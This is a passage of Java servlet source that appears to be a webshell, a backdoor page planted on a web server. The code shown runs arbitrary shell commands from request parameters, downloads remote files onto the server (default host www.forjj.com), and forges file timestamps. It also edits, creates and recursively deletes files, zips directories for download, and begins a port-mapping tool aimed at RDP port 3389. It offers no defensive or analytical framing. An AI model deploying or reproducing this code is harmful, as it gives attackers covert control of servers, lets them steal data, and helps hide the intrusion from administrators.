1577 "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
1578 " <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
1579 "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
1580 "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1581 "</form>"+
1582 "</td></tr></table>");
1583 } catch (Exception e) {
1584
1585 throw e ;
1586 }
1587 }
1588 }
1589 private static class VEditInvoker extends DefaultInvoker {
1590 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1591 try {
1592 PrintWriter out = response.getWriter();
1593 String path = request.getParameter("filepath");
1594 String charset = request.getParameter("charset");
1595 Object enter = JSession.getAttribute(ENTER);
1596 InputStream input = null;
1597 if (enter != null) {
1598 ZipFile zf = new ZipFile((String)enter);
1599 ZipEntry entry = new ZipEntry(path);
1600 input = zf.getInputStream(entry);
1601 } else {
1602 File f = new File(path);
1603 if (!f.exists())
1604 return;
1605 input = new FileInputStream(path);
1606 }
1607
1608 BufferedReader reader = null;
1609 if (Util.isEmpty(charset) || charset.equals("ANSI"))
1610 reader = new BufferedReader(new InputStreamReader(input));
1611 else
1612 reader = new BufferedReader(new InputStreamReader(input,charset));
1613 StringBuffer content = new StringBuffer();
1614 String s = reader.readLine();
1615 while (s != null) {
1616 content.append(s+"\r\n");
1617 s = reader.readLine();
1618 }
1619 reader.close();
1620 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1621 "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1622 "<h2>Create / Edit File »</h2>"+
1623 "<input type='hidden' name='o' value='createFile'>"+
1624 "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
1625 " <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
1626 "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
1627 "<p>");
1628 if (enter != null)
1629 out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
1630 else
1631 out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
1632 out.println("<input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1633 "</form>"+
1634 "</td></tr></table>");
1635
1636 } catch (Exception e) {
1637
1638 throw e ;
1639 }
1640 }
1641 }
1642 private static class CreateFileInvoker extends DefaultInvoker {
1643 public boolean doBefore(){return false;}
1644 public boolean doAfter(){return false;}
1645 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1646 try {
1647 PrintWriter out = response.getWriter();
1648 String path = request.getParameter("filepath");
1649 String content = request.getParameter("filecontent");
1650 String charset = request.getParameter("charset");
1651 BufferedWriter outs = null;
1652 if (charset.equals("ANSI"))
1653 outs = new BufferedWriter(new FileWriter(new File(path)));
1654 else
1655 outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
1656 outs.write(content,0,content.length());
1657 outs.close();
1658 JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
1659 response.sendRedirect(SHELL_NAME);
1660 } catch (Exception e) {
1661
1662 throw e ;
1663 }
1664 }
1665 }
1666 private static class VEditPropertyInvoker extends DefaultInvoker {
1667 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1668 try {
1669 PrintWriter out = response.getWriter();
1670 String filepath = request.getParameter("filepath");
1671 File f = new File(filepath);
1672 if (!f.exists())
1673 return;
1674 String read = f.canRead() ? "checked=\"checked\"" : "";
1675 String write = f.canWrite() ? "checked=\"checked\"" : "";
1676 Calendar cal = Calendar.getInstance();
1677 cal.setTimeInMillis(f.lastModified());
1678
1679 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1680 "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1681 "<h2>Set File Property »</h2>"+
1682 "<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
1683 "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
1684 "<p>"+
1685 " <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
1686 " <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
1687 "</p>"+
1688 "<p>Instead »"+
1689 "year:"+
1690 "<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
1691 "month:"+
1692 "<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
1693 "day:"+
1694 "<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
1695 ""+
1696 "hour:"+
1697 "<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
1698 "minute:"+
1699 "<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
1700 "second:"+
1701 "<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
1702 "</p>"+
1703 "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
1704 "</form>"+
1705 "</td></tr></table>");
1706 } catch (Exception e) {
1707 throw e ;
1708 }
1709 }
1710 }
1711 private static class EditPropertyInvoker extends DefaultInvoker {
1712 public boolean doBefore(){return false;}
1713 public boolean doAfter(){return false;}
1714 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1715 try {
1716 String f = request.getParameter("file");
1717 File file = new File(f);
1718 if (!file.exists())
1719 return;
1720
1721 String year = request.getParameter("year");
1722 String month = request.getParameter("month");
1723 String date = request.getParameter("date");
1724 String hour = request.getParameter("hour");
1725 String minute = request.getParameter("minute");
1726 String second = request.getParameter("second");
1727
1728 Calendar cal = Calendar.getInstance();
1729 cal.set(Calendar.YEAR,Integer.parseInt(year));
1730 cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
1731 cal.set(Calendar.DATE,Integer.parseInt(date));
1732 cal.set(Calendar.HOUR,Integer.parseInt(hour));
1733 cal.set(Calendar.MINUTE,Integer.parseInt(minute));
1734 cal.set(Calendar.SECOND,Integer.parseInt(second));
1735 if(file.setLastModified(cal.getTimeInMillis())){
1736 JSession.setAttribute(MSG,"Reset File Property Success!");
1737 } else {
1738 JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
1739 }
1740 response.sendRedirect(SHELL_NAME);
1741 } catch (Exception e) {
1742
1743 throw e ;
1744 }
1745 }
1746 }
1747 //VShell
1748 private static class VsInvoker extends DefaultInvoker{
1749 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1750 try {
1751 PrintWriter out = response.getWriter();
1752 String cmd = request.getParameter("command");
1753 String program = request.getParameter("program");
1754 if (cmd == null) {
1755 if (ISLINUX)
1756 cmd = "id";
1757 else
1758 cmd = "cmd.exe /c set";
1759 }
1760 if (program == null)
1761 program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
1762 if (JSession.getAttribute(MSG)!=null) {
1763 Util.outMsg(out,JSession.getAttribute(MSG).toString());
1764 JSession.removeAttribute(MSG);
1765 }
1766 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1767 "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1768 "<h2>Execute Program »</h2>"+
1769 "<p>"+
1770 "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1771 "<input type=\"hidden\" name=\"type\" value=\"program\">"+
1772 "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
1773 "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1774 "</p>"+
1775 "</form>"+
1776 "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1777 "<h2>Execute Shell »</h2>"+
1778 "<p>"+
1779 "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1780 "<input type=\"hidden\" name=\"type\" value=\"command\">"+
1781 "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
1782 "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1783 "</p>"+
1784 "</form>"+
1785 "</td>"+
1786 "</tr></table>");
1787 } catch (Exception e) {
1788
1789 throw e ;
1790 }
1791 }
1792 }
1793 private static class ShellInvoker extends DefaultInvoker{
1794 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1795 try {
1796 PrintWriter out = response.getWriter();
1797 String type = request.getParameter("type");
1798 if (type.equals("command")) {
1799 ((Invoker)ins.get("vs")).invoke(request,response,JSession);
1800 out.println("<div style='margin:10px'><hr/>");
1801 out.println("<pre>");
1802 String command = request.getParameter("command");
1803 if (!Util.isEmpty(command)) {
1804 Process pro = Runtime.getRuntime().exec(command);
1805 BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
1806 String s = reader.readLine();
1807 while (s != null) {
1808 out.println(Util.htmlEncode(Util.getStr(s)));
1809 s = reader.readLine();
1810 }
1811 reader.close();
1812 reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
1813 s = reader.readLine();
1814 while (s != null) {
1815 out.println(Util.htmlEncode(Util.getStr(s)));
1816 s = reader.readLine();
1817 }
1818 reader.close();
1819 out.println("</pre></div>");
1820 }
1821 } else {
1822 String program = request.getParameter("program");
1823 if (!Util.isEmpty(program)) {
1824 Process pro = Runtime.getRuntime().exec(program);
1825 JSession.setAttribute(MSG,"Program Has Run Success!");
1826 ((Invoker)ins.get("vs")).invoke(request,response,JSession);
1827 }
1828 }
1829 } catch (Exception e) {
1830
1831 throw e ;
1832 }
1833 }
1834 }
1835 private static class DownInvoker extends DefaultInvoker{
1836 public boolean doBefore(){return false;}
1837 public boolean doAfter(){return false;}
1838 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1839 try {
1840 String path = request.getParameter("path");
1841 if (Util.isEmpty(path))
1842 return;
1843 InputStream i = null;
1844 Object enter = JSession.getAttribute(ENTER);
1845 String fileName = null;
1846 if (enter == null) {
1847 File f = new File(path);
1848 if (!f.exists())
1849 return;
1850 fileName = f.getName();
1851 i = new FileInputStream(f);
1852 } else {
1853 ZipFile zf = new ZipFile((String)enter);
1854 ZipEntry entry = new ZipEntry(path);
1855 fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
1856 i = zf.getInputStream(entry);
1857 }
1858 response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
1859 BufferedInputStream input = new BufferedInputStream(i);
1860 BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
1861 byte[] data = new byte[1024];
1862 int len = input.read(data);
1863 while (len != -1) {
1864 output.write(data,0,len);
1865 len = input.read(data);
1866 }
1867 input.close();
1868 output.close();
1869 } catch (Exception e) {
1870
1871 throw e ;
1872 }
1873 }
1874 }
1875 //VDown
1876 private static class VdInvoker extends DefaultInvoker {
1877 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1878 try {
1879 PrintWriter out = response.getWriter();
1880 String savepath = request.getParameter("savepath");
1881 String url = request.getParameter("url");
1882 if (Util.isEmpty(url))
1883 url = "http://www.forjj.com/";
1884 if (Util.isEmpty(savepath)) {
1885 savepath = JSession.getAttribute(CURRENT_DIR).toString();
1886 }
1887 if (!Util.isEmpty(JSession.getAttribute("done"))) {
1888 Util.outMsg(out,"Download Remote File Success!");
1889 JSession.removeAttribute("done");
1890 }
1891 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1892 "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1893 "<h2>Remote File DownLoad »</h2>"+
1894 "<p>"+
1895 "<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
1896 "<p>File URL: "+
1897 " <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\" /></p>"+
1898 "<p>Save Path: "+
1899 "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\" /></p>"+
1900 "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
1901 "</p>"+
1902 "</form></table>");
1903 } catch (Exception e) {
1904
1905 throw e ;
1906 }
1907 }
1908 }
1909 private static class DownRemoteInvoker extends DefaultInvoker {
1910 public boolean doBefore(){return true;}
1911 public boolean doAfter(){return true;}
1912 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1913 try {
1914 String downFileUrl = request.getParameter("url");
1915 String savePath = request.getParameter("savepath");
1916 if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
1917 return;
1918 URL downUrl = new URL(downFileUrl);
1919 URLConnection conn = downUrl.openConnection();
1920
1921 File tempF = new File(savePath);
1922 File saveF = tempF;
1923 if (tempF.isDirectory()) {
1924 String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
1925 saveF = new File(tempF,fName);
1926 }
1927 BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
1928 BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
1929 byte[] data = new byte[1024];
1930 int len = in.read(data);
1931 while (len != -1) {
1932 out.write(data,0,len);
1933 len = in.read(data);
1934 }
1935 in.close();
1936 out.close();
1937 JSession.setAttribute("done","d");
1938 ((Invoker)ins.get("vd")).invoke(request,response,JSession);
1939 } catch (Exception e) {
1940
1941 throw e ;
1942 }
1943 }
1944 }
1945 private static class IndexInvoker extends DefaultInvoker {
1946 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1947 try {
1948 ((Invoker)ins.get("filelist")).invoke(request,response,JSession);
1949 } catch (Exception e) {
1950
1951 throw e ;
1952 }
1953 }
1954 }
1955 private static class MkDirInvoker extends DefaultInvoker {
1956 public boolean doBefore(){return false;}
1957 public boolean doAfter(){return false;}
1958 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1959 try {
1960 String name = request.getParameter("name");
1961 File f = new File(name);
1962 if (!f.isAbsolute()) {
1963 String path = JSession.getAttribute(CURRENT_DIR).toString();
1964 if (!path.endsWith("/"))
1965 path += "/";
1966 path += name;
1967 f = new File(path);
1968 }
1969 f.mkdirs();
1970 JSession.setAttribute(MSG,"Make Directory Success!");
1971 response.sendRedirect(SHELL_NAME);
1972 } catch (Exception e) {
1973
1974 throw e ;
1975 }
1976 }
1977 }
1978 private static class MoveInvoker extends DefaultInvoker {
1979 public boolean doBefore(){return false;}
1980 public boolean doAfter(){return false;}
1981 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1982 try {
1983 PrintWriter out = response.getWriter();
1984 String src = request.getParameter("src");
1985 String target = request.getParameter("to");
1986 if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
1987 File file = new File(src);
1988 if(file.renameTo(new File(target))) {
1989 JSession.setAttribute(MSG,"Move File Success!");
1990 } else {
1991 String msg = "Move File Failed!";
1992 if (file.isDirectory()) {
1993 msg += "The Move Will Failed When The Directory Is Not Empty.";
1994 }
1995 JSession.setAttribute(MSG,msg);
1996 }
1997 response.sendRedirect(SHELL_NAME);
1998 }
1999 } catch (Exception e) {
2000
2001 throw e ;
2002 }
2003 }
2004 }
2005 private static class RemoveDirInvoker extends DefaultInvoker {
2006 public boolean doBefore(){return false;}
2007 public boolean doAfter(){return false;}
2008 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2009 try {
2010 String dir = request.getParameter("dir");
2011 File file = new File(dir);
2012 if (file.exists()) {
2013 deleteFile(file);
2014 deleteDir(file);
2015 }
2016
2017 JSession.setAttribute(MSG,"Remove Directory Success!");
2018 response.sendRedirect(SHELL_NAME);
2019 } catch (Exception e) {
2020
2021 throw e ;
2022 }
2023 }
2024 public void deleteFile(File f) {
2025 if (f.isFile()) {
2026 f.delete();
2027 }else {
2028 File[] list = f.listFiles();
2029 for (int i = 0;i<list.length;i++) {
2030 File ff=list[i];
2031 deleteFile(ff);
2032 }
2033 }
2034 }
2035 public void deleteDir(File f) {
2036 File[] list = f.listFiles();
2037 if (list.length == 0) {
2038 f.delete();
2039 } else {
2040 for (int i = 0;i<list.length;i++) {
2041 File ff=list[i];
2042 deleteDir(ff);
2043 }
2044 deleteDir(f);
2045 }
2046 }
2047 }
2048 private static class PackBatchInvoker extends DefaultInvoker{
2049 public boolean doBefore(){return false;}
2050 public boolean doAfter(){return false;}
2051 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2052 try {
2053 String files = request.getParameter("files");
2054 if (Util.isEmpty(files))
2055 return;
2056 String saveFileName = request.getParameter("savefilename");
2057 File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2058 if (saveF.exists()) {
2059 JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2060 response.sendRedirect(SHELL_NAME);
2061 return;
2062 }
2063 ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2064 String[] arr = files.split(",");
2065 for (int i = 0;i<arr.length;i++) {
2066 String f=arr[i];
2067 File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
2068 ZipEntry entry = new ZipEntry(pF.getName());
2069 zout.putNextEntry(entry);
2070 FileInputStream fInput = new FileInputStream(pF);
2071 int len = 0;
2072 byte[] buf = new byte[1024];
2073 while ((len = fInput.read(buf)) != -1) {
2074 zout.write(buf, 0, len);
2075 zout.flush();
2076 }
2077 fInput.close();
2078 }
2079 zout.close();
2080 JSession.setAttribute(MSG,"Pack Files Success!");
2081 response.sendRedirect(SHELL_NAME);
2082 } catch (Exception e) {
2083
2084 throw e;
2085 }
2086 }
2087 }
2088 private static class VPackConfigInvoker extends DefaultInvoker{
2089 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2090 try {
2091 PrintWriter out = response.getWriter();
2092 String packfile = request.getParameter("packedfile");
2093 String currentd = JSession.getAttribute(CURRENT_DIR).toString();
2094 out.println("<form action='"+SHELL_NAME+"' method='post'>"+
2095 "<input type='hidden' name='o' value='pack'/>"+
2096 "<input type='hidden' name='config' value='true'/>"+
2097 "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2098 " <tr>"+
2099 " <td><h2 id=\"Bin_H2_Title\">Pack Configuration >><hr/></h2>"+
2100 " <div id=\"hOWTm\">"+
2101 " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2102 " <tr align=\"center\">"+
2103 " <td style=\"width:5%\"></td>"+
2104 " <td align=\"center\"><table border=\"0\">"+
2105 " <tr>"+
2106 " <td>Packed Dir</td>"+
2107 " <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
2108 " </tr>"+
2109 " <tr>"+
2110 " <td>Save To</td>"+
2111 " <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
2112 " </tr>"+
2113 " <tr>"+
2114 " <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
2115 " <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
2116 " <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
2117 " </fieldset></td>"+
2118 " </tr>"+
2119 " <tr>"+
2120 " <td>Filesize Filter</td>"+
2121 " <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
2122 " <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
2123 " </tr>"+
2124 " <tr>"+
2125 " <td>Exclude Dir</td>"+
2126 " <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
2127 " </tr>"+
2128 " </table></td>"+
2129 " </tr>"+
2130 " <tr align=\"center\">"+
2131 " <td colspan=\"2\">"+
2132 " <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
2133 " </td>"+
2134 " </tr>"+
2135 " </table>"+
2136 " </div></td>"+
2137 " </tr>"+
2138 " </table></form>"
2139 );
2140 } catch (Exception e) {
2141
2142 throw e;
2143 }
2144 }
2145 }
2146 private static class PackInvoker extends DefaultInvoker {
2147 public boolean doBefore(){return false;}
2148 public boolean doAfter(){return false;}
2149 private boolean config = false;
2150 private String extFilter = "blacklist";
2151 private String[] fileExts = null;
2152 private String sizeFilter = "no";
2153 private int filesize = 0;
2154 private String[] exclude = null;
2155 private String packFile = null;
2156 private void reset(){
2157 this.config = false;
2158 this.extFilter = "blacklist";
2159 this.fileExts = null;
2160 this.sizeFilter = "no";
2161 this.filesize = 0;
2162 this.exclude = null;
2163 this.packFile = null;
2164 }
2165 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2166 try {
2167 String config = request.getParameter("config");
2168 if (!Util.isEmpty(config) && config.equals("true")) {
2169 this.config = true;
2170 this.extFilter = request.getParameter("extfilter");
2171 this.fileExts = request.getParameter("fileext").split(",");
2172 this.sizeFilter = request.getParameter("sizefilter");
2173 this.filesize = Integer.parseInt(request.getParameter("filesize"));
2174 this.exclude = request.getParameter("exclude").split(",");
2175 }
2176 String packedFile = request.getParameter("packedfile");
2177 if (Util.isEmpty(packedFile))
2178 return;
2179 this.packFile = packedFile;
2180 String saveFileName = request.getParameter("savefilename");
2181 File saveF = null;
2182 if (this.config)
2183 saveF = new File(saveFileName);
2184 else
2185 saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2186 if (saveF.exists()) {
2187 JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2188 response.sendRedirect(SHELL_NAME);
2189 return;
2190 }
2191 File pF = new File(packedFile);
2192 ZipOutputStream zout = null;
2193 String base = "";
2194 if (pF.isDirectory()) {
2195 if (pF.listFiles().length == 0) {
2196 JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
2197 response.sendRedirect(SHELL_NAME);
2198 this.reset();
2199 return;
2200 }
2201 zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2202 zipDir(pF,base,zout);
2203 } else {
2204 zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2205 zipFile(pF,base,zout);
2206 }
2207 zout.close();
2208 this.reset();
2209 JSession.setAttribute(MSG,"Pack File Success!");
2210 response.sendRedirect(SHELL_NAME);
2211 } catch (Exception e) {
2212 throw e;
2213 }
2214 }
2215 public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
2216 if (f.isDirectory()) {
2217 if (this.config) {
2218 String curName = f.getAbsolutePath().replace('\\','/');
2219 curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
2220 if (this.exclude != null) {
2221 for (int i = 0;i<exclude.length;i++) {
2222 if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
2223 return;
2224 }
2225 }
2226 }
2227 }
2228 File[] arr = f.listFiles();
2229 for (int i = 0;i<arr.length;i++) {
2230 File ff=arr[i];
2231 String tmpBase = base;
2232 if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
2233 tmpBase += "/";
2234 zipDir(ff,tmpBase+f.getName(),zout);
2235 }
2236 } else {
2237 String tmpBase = base;
2238 if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
2239 tmpBase += "/";
2240 zipFile(f,tmpBase,zout);
2241 }
2242
2243 }
2244 public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
2245 if (this.config) {
2246 String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
2247 if (this.extFilter.equals("blacklist")) {
2248 if (Util.exists(this.fileExts,ext)) {
2249 return;
2250 }
2251 } else if (this.extFilter.equals("whitelist")) {
2252 if (!Util.exists(this.fileExts,ext)) {
2253 return;
2254 }
2255 }
2256 if (!this.sizeFilter.equals("no")) {
2257 double size = f.length() / 1024;
2258 if (this.sizeFilter.equals("greaterthan")) {
2259 if (size < filesize)
2260 return;
2261 } else if (this.sizeFilter.equals("lessthan")) {
2262 if (size > filesize)
2263 return;
2264 }
2265 }
2266 }
2267 ZipEntry entry = new ZipEntry(base+f.getName());
2268 zout.putNextEntry(entry);
2269 FileInputStream fInput = new FileInputStream(f);
2270 int len = 0;
2271 byte[] buf = new byte[1024];
2272 while ((len = fInput.read(buf)) != -1) {
2273 zout.write(buf, 0, len);
2274 zout.flush();
2275 }
2276 fInput.close();
2277 }
2278 }
2279 private static class UnPackInvoker extends DefaultInvoker {
2280 public boolean doBefore(){return false;}
2281 public boolean doAfter(){return false;}
2282 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2283 try {
2284 String savepath = request.getParameter("savepath");
2285 String zipfile = request.getParameter("zipfile");
2286 if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
2287 return;
2288 File save = new File(savepath);
2289 save.mkdirs();
2290 ZipFile file = new ZipFile(new File(zipfile));
2291 Enumeration e = file.entries();
2292 while (e.hasMoreElements()) {
2293 ZipEntry en = (ZipEntry) e.nextElement();
2294 String entryPath = en.getName();
2295 int index = entryPath.lastIndexOf("/");
2296 if (index != -1)
2297 entryPath = entryPath.substring(0,index);
2298 File absEntryFile = new File(save,entryPath);
2299 if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
2300 absEntryFile.mkdirs();
2301 BufferedOutputStream output = null;
2302 BufferedInputStream input = null;
2303 try {
2304 output = new BufferedOutputStream(
2305 new FileOutputStream(new File(save,en.getName())));
2306 input = new BufferedInputStream(
2307 file.getInputStream(en));
2308 byte[] b = new byte[1024];
2309 int len = input.read(b);
2310 while (len != -1) {
2311 output.write(b, 0, len);
2312 len = input.read(b);
2313 }
2314 } catch (Exception ex) {
2315 } finally {
2316 try {
2317 if (output != null)
2318 output.close();
2319 if (input != null)
2320 input.close();
2321 } catch (Exception ex1) {
2322 }
2323 }
2324 }
2325 file.close();
2326 JSession.setAttribute(MSG,"UnPack File Success!");
2327 response.sendRedirect(SHELL_NAME);
2328 } catch (Exception e) {
2329
2330 throw e ;
2331 }
2332 }
2333 }
2334 //VMapPort
2335 private static class VmpInvoker extends DefaultInvoker {
2336 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2337 try {
2338 PrintWriter out = response.getWriter();
2339 Object localIP = JSession.getAttribute("localIP");
2340 Object localPort = JSession.getAttribute("localPort");
2341 Object remoteIP = JSession.getAttribute("remoteIP");
2342 Object remotePort = JSession.getAttribute("remotePort");
2343 Object done = JSession.getAttribute("done");
2344
2345 JSession.removeAttribute("localIP");
2346 JSession.removeAttribute("localPort");
2347 JSession.removeAttribute("remoteIP");
2348 JSession.removeAttribute("remotePort");
2349 JSession.removeAttribute("done");
2350
2351 if (Util.isEmpty(localIP))
2352 localIP = InetAddress.getLocalHost().getHostAddress();
2353 if (Util.isEmpty(localPort))
2354 localPort = "3389";
2355 if (Util.isEmpty(remoteIP))
2356 remoteIP = "www.forjj.com";
2357 if (Util.isEmpty(remotePort))
2358 remotePort = "80";
2359 if (!Util.isEmpty(done))
2360 Util.outMsg(out,done.toString());
2361
2362 out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2363 "<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
2364 " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2365 " <tr>"+
2366 " <td><h2 id=\"Bin_H2_Title\">PortMap >><hr/></h2>"+
2367 " <div id=\"hOWTm\">"+
